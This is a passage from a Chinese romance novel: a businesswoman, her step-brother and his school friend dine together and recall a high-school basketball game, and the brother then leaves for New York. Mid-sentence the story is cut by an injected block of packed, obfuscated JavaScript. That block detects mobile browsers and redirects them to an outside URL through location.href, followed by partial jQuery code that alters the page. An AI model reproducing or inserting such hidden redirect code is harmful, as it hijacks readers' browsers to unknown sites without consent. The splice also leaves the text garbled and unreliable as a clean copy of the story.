百变之中当然也有不变的,比如她的助理何安琪。 “Kylie总,你这新驾座……” “怎么样?空间够大,又低调。”黎念拍了拍她这辆GLS的引擎盖,“显得人特别稳重。” 确实稳重,就是有点高,何安琪上车的时候差点一脚没踩稳。 “Kylie总,颐州做烧味的餐厅是不是不容易找,外卖页面都拉到底了也没看见有卖烧鹅的。” 初来内地工作的何安琪很懂得入乡随俗,她叫惯了黎念的英文名,如今在后面加个“总”字也喊得十分顺口。 她了解黎念的喜好,只是过了午餐饭点,黎念已经没什么胃口了。 “前面路口有家咖啡厅,去打包点简餐就行。” 出餐时间不算漫长,黎念就坐在车里刷朋友圈动态,她突然想起那个早已沉到底的微信群。 关于组局请客这件事,宋祈然那边一直没给消息,两人虽在同一屋檐下,但工作起来都是没日没夜,有时可能从早到晚碰不到一次面。 黎念也拉不下脸再麻烦他,想着干脆就在群里问一问的时候,某人居然弹来了语音通话。 她先清了清嗓:“喂。” 听筒里,宋祈然的声音很清晰:“后天晚上六点,江荟馆两位,留了你的名字和号码。” 他直奔主题,黎念反应过来皱了皱眉:“两位,难道就我和你朋友?那你呢?” “你请客?” “对啊。” “还有我的份?” “……” 黎念闭眼,忍下怼人的冲动,好脾气地问:“你不来,就不担心你的朋友尴尬吗?” 真正尴尬的怕是另有其人,宋祈然哂笑一声,语气听上去懒散:“也是,那我考虑考虑。” 何安琪拎着餐回来,发现她老板斜着身子眼睛一直盯着窗外,她便也顺着那目光望过去。 原来是块巨型的裸眼3D广告屏。 “是泛亚的广告吗,真是财大气粗喔,连游戏宣传片都做得这么夸张。” “这有什么。” 黎念突然来了这么一句,弄得何安琪很懵。 “好好跟着我干,五年后把他们收购了也不是没有可能的。” 何安琪惊讶得悄悄瞪大双眼,打从心底佩服老板的好志气。 …… 两天后黎念准时赴约。 餐厅离她的公司很近,下班后不用忍受晚高峰的拥堵,拐几个路口就到了。 宋祈然倒也没有真的给黎念出难题,甚至还比她提早了十分钟落座。 “包厢是排菜的,你看看有没有想换掉的或者想添加的。” 他应该也是直接从公司过来的,身旁还跟着个助理,宋祈然解开外套和领带递过去,那助理妥帖收好,又俯耳说了几句才离开。 黎念从服务生手里接过热毛巾,头也不抬地说:“还是等你朋友到了一起看吧。” “没事,他不挑。” 黎念心中突然冒出一个很诡异的猜想,她擦手的动作慢了下来,狐疑的眼神飘过去:“你该不会是无中……” “生友”两个字还没脱口,包厢门就被笃笃敲了几下,紧接着缓缓推开。 初见那人时黎念只觉得眼熟,很难立刻将这张面孔与名字对上号,直到对方喊了她一声学妹,她才恍然。 李衡安,宋祈然的高中同学,确切点说,在场三人都是校友,他们读高中的时候黎念就在同校的初中部。 这么算的话,也是个八杆子打得着那么一点的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483959|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹了。 李衡安率先举杯:“真的是女大十八变啊,这要在路上碰见了我还不一定能认出来。” 黎念刚想回应,结果起身太快差点碰翻手边的瓷碗,好在隔壁的宋祈然眼疾手快替她挡了一下。 她轻轻道了声谢,又把注意力转移到对面:“您既然喊我学妹,那我也喊一声学长了,公馆的事情谢谢您。” “快坐。”李衡安招招手,“你是祈然的妹妹,那自然也是我的妹妹,这么一点小事根本用不着客气。” 他话音刚落,宋祈然的眼神就扫了过去,戏谑道:“攀什么亲戚,谁是你妹妹。” 互相这么逗骂几句,气氛也松快起来,见黎念少了几分局促,李衡安又开始跟她搭话。 “要说印象深刻的,还得是我们高三那场篮球赛,听说你哥要上场,你是不是把你们班里嗓门大的全叫到现场来助威了?” “嗯?”黎念扬了下眉,表情略显困惑,“哪一场?” “校运动会,整个高中部都要参加篮球巡回赛的那次,小组赛第一场就是我们班和他们班对打,你当时还在初中部吧?带着一帮小豆子来围观,就数你和你朋友喊得最起劲,声音都盖过了正儿八经的拉拉队。” 李衡安当时也上场了,所以记得特别清楚,他看了眼斜对面的宋祈然,这人一副洗耳恭听的模样,似乎也在等他接下来的话。 “这小子,他当时连热身都不参加只打算上半场的,就因为我们班有个嘴欠的朝你们骂了几句,他就直接打满全场,而且只盯着那个嘴欠的做防守,硬生生把人家搞到自闭。” 篮球赛黎念是想起来了,至于李衡安说的这些防守和针对她是没有印象的,可能当时看不懂也就没在意。 “那是你们整体水平太差。” 宋祈然轻飘飘打断了话题,李衡安很不服气,又同他争辩了几句。 有些事李衡安还没来得及戳穿,篮球运动免不了身体对抗,被宋祈然盯上的哥们儿个子没他高,也没他的反应和力量,场上吃亏不说,下了比赛还被堵在更衣室里,若不是劝和的人及时出面,保不准就有更激烈的冲突要发生。 也是从那回开始,所有人都知道宋祈然护短护得厉害,尤其是对他的妹妹。 现如今看来,这点好像没有改变。 晚餐的最后,服务生进来送甜点,换餐具时不小心打翻茶水洒到了宋祈然的衣袖上,趁他离席清理污渍的间隙,黎念从包里拿出了提前准备好的银行卡。 待她说清缘由,李衡安想也没想就拒绝了。 “都是自己人,你这就太见外了啊,而且那公馆其实是我爷爷说了算的,老人家脾气比较难搞,我去讲都要吃闭门羹的,祈然上门拜访了几次,结果老爷子还真就卖他面子,剩下不就是一句话的事了嘛。” 黎念总算明白了,是她想得太简单,这事根本就不是钱能解决的。 三人都喝了酒,送走李衡安之后,黎念和宋祈然也等到了各自的司机,而方才席前出现的助理竟然还在。 “宋总,行李先送到机场了,我们这边可以直接出发。” “好。” 户外冷风捎走些许因酒精产生的燥意,宋祈然抬手摁了摁眉心,又转头对黎念叮嘱:“上车吧,到家说一声。” 黎念听了他们的对话,疑问脱口而出:“你要去机场?出差?” “嗯,去纽约。” 居然还是海外行程,黎念看了眼时间,并未发觉自己的语气带着抱怨:“那你怎么不早说,刚刚还喝那么多酒。” “没事,飞机上能睡。” 他的助理还在一旁安静等待,只是不停看表的动作泄露了几分焦急。 黎念压了压被风吹乱的头发,提醒道:“去吧。” “你先走。” 虽不懂他的执意,但黎念还是先上了车,车子启动之前,她让司机稍等。 车窗缓缓降下,黎念朝窗外瞥了一眼,还没看清那人的轮廓,她便快速说道:“今天谢谢你了。” 而后她又不太自然地补了一句:“一路平安。” 接着是几秒钟的沉默。 夜色掩护下,宋祈然不着痕迹地轻轻牵起嘴角。 “好。”